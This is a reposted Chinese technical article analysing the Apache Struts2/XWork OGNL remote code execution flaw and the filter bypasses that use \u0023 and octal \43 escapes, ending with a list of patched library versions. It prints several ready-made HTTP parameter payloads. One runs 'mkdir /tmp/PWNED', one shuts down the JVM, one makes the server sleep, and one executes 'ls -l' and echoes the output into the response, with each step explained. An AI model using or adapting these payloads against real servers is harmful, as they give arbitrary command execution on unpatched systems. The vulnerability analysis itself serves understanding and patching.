struts2之远程执行

来源:互联网 发布:数据库预留字段命名 编辑:程序博客网 时间:2024/06/06 05:21

Struts2的核心是使用的webwork框架,而webwork又是使用的XWork来处理action的,并且通过调用底层的getter/setter方法来处理http的参数,它将每个http参数声明为一个ONGL(这里是ONGL的介绍)语句。当我们提交一个http参数:

user.address.city=Bishkek&user['favoriteDrink']=kumys

ONGL将它转换为:

action.getUser().getAddress().setCity("Bishkek")

action.getUser().setFavoriteDrink("kumys")

这是通过ParametersInterceptor(参数过滤器)来执行的,使用用户提供的HTTP参数调用ValueStack.setValue()。

除了支持参数的设置和读取,ONGL支持另外的一些功能:

  • 调用方法:foo()
  • 调用静态方法:@java.lang.System@exit(1)
  • 类的调用:new MyClass()
  • 处理上下文变量:#foo = new MyClass()

由于ONGL的调用可以通过http传参来执行,为了防止攻击者以此来调用任意方法,Xwork设置了两个参数来进行防护:

  • OgnlContext的属性 'xwork.MethodAccessor.denyMethodExecution'(默认为真)
  • SecurityMemberAccess私有字段 'allowStaticMethodAccess'(默认为假)

为方便开发人员经常访问各种对象,XWork定义了很多预定义的上下文变量:

  • #application
  • #session
  • #request
  • #parameters
  • #attr

这些变量代表各种服务器变量。为了防止攻击者篡改服务器端对象,XWork的ParametersInterceptor是不允许参数名称中有#的,大约在一年前,漏洞发现者找到了一种方法来绕过这种保护(XW-641),即通过java的unicode字符串来表示:\u0023。当时感觉通过一种方法(OGNL value stack clearing)来修补是不够的,但是没有更多的时间来研究。

今年早些时候,漏洞发现者又发现了一些Xwork的一些预定义的变量:

  • #context - 这个方法的能否被调用是基于OgnlContext的 'xwork.MethodAccessor.denyMethodExecution' 属性的值
  • #_memberAccess - SecurityMemberAccess的'allowStaticAccess' 字段用来防止静态方法的执行
  • #root
  •  #this
  • #_typeResolver
  • #_classResolver
  •  #_traceEvaluations
  • #_lastEvaluation
  •  #_keepLastEvaluation

使用XW-641所描述的方法,漏洞发现者通过修改一些值能够调用被保护的Java代码,并且执行任意的Java代码:

#_memberAccess['allowStaticMethodAccess'] = true#foo = new java .lang.Boolean("false")#context['xwork.MethodAccessor.denyMethodExecution'] = #foo#rt = @java.lang.Runtime@getRuntime()#rt.exec('mkdir /tmp/PWNED')

事实证明通过构造http请求能够调用该OGNL的表达式。这个漏洞的PoC于2010年7月12日发布。如果想测试你的应用程序是否有漏洞,可以使用下面的测试代码,将会调用:java.lang.Runtime.getRuntime().exit(1)

('\u0023_memberAccess[\'allowStaticMethodAccess\']')(meh)=true&(aaa)(('\u0023context[\'xwork.MethodAccessor.denyMethodExecution\']\u003d\u0023foo')(\u0023foo\u003dnew%20java.lang.Boolean("false")))&(asdf)(('\u0023rt.exit(1)')(\u0023rt\u003d@java.lang.Runtime@getRuntime()))=1



转载之二:

Struts 2是在struts 和WebWork的技术基础上进行了合并的全新的框架。其全新的Struts 2的体系结构与Struts 1的体系结构的差别巨大。Struts 2以WebWork为核心,采用拦截器的机制来处理用户的请求,这样的设计也使得业务逻辑控制器能够与Servlet API完全脱离开,所以Struts 2可以理解为WebWork的更新产品.
 
近期Struts2爆发了一远程命令执行漏洞,,各种版本的漏洞利用工具让CNVD非常的蛋疼.下面贴出 livers大大针对此漏洞的分析.
 
以POST的方式提交绕过对输入参数的部分过滤。
 
('\43_memberAccess.allowStaticMethodAccess')(a)=true&(b)(('\43context[\'xwork.MethodAccessor.denyMethodExecution\']\75false')(b))&('\43c')(('\43_memberAccess.excludeProperties\75@java.util.Collections@EMPTY_SET')(c))&(d)(('@java.lang.Thread@sleep(8000)')(d))
当前线程sleep 8S
命令执行主要是通过ognl对象的上下文内置静态函数进行执行的。
如@Runtime@getRuntime().exec
@class@method 访问静态方法
xwork 的ognl语句 执行,变量必须要带有#,之前通过\0023 (16进制的#) 来绕过,官方补丁屏蔽了这种但是可以利用\43(8进制的#)进行绕过。
 
实现交互的shell. www.2cto.com
('\43_memberAccess.allowStaticMethodAccess')(a)=true&(b)(('\43context[\'xwork.MethodAccessor.denyMethodExecution\']\75false')(b))&('\43c')(('\43_memberAccess.excludeProperties\75@java.util.Collections@EMPTY_SET')(c))&(g)(('\43mycmd\75\'ls\40\u002dl\'')(d))&(h)(('\43myret\75@java.lang.Runtime@getRuntime().exec(\43mycmd)')(d))&(i)(('\43mydat\75new\40java.io.DataInputStream(\43myret.getInputStream())')(d))&(j)(('\43myres\75new\40byte[51020]')(d))&(k)(('\43mydat.readFully(\43myres)')(d))&(l)(('\43mystr\75new\40java.lang.String(\43myres)')(d))&(m)(('\43myout\75@org.apache.struts2.ServletActionContext@getResponse()')(d))&(n)(('\43myout.getWriter().println(\43mystr)')(d))
 
\75 (=的8进制)\40(空格的8进制)ongl语句中执行的参数不允许出现空格。当然包括其他
老版本的正则 是^#=:都不允许,通杀的话是用\40来替代。
 
这样上面就是
1.设置上下文denyMethodExecution=false 运行方法执行
2.excludeProperties=@java.util.Collections@EMPTY_SET (@class@调用静态变量)
设置外部拦截器为空
3.mycmd=“ls -l” 定义我们的执行命令的变量
4.myret=@java.lang.Runtime@getRuntime().exec(\43mycmd)') (调用静态方法执行我们的变量)
5.mydat=new java.io.DataInputStream(\43myret.getInputStream())') 获取输入流(post)
6.myres=new data[51020];mydat.readfully(myres); 读取输入流
(5,6为了转换输入流的类型)
7.mystr=new java.lang.String(#myres) ;定义并赋值输入流
8.myout=org.apache.struts2.ServletActionContext@getResponse() ;得到repsonse的数据
9.myout.getWriter().println(#mystr) ;把response的数据打印到屏幕上。


commons-lang3-3.1.jar        (保留commons-lang-2.6.jar)
javassist-3.11.0.GA.jar        (新加包)
ognl-3.0.5.jar            (替换旧版本)
struts2-core-2.3.4.1.jar    (替换旧版本)
xwork-core-2.3.4.1.jar        (替换旧版本)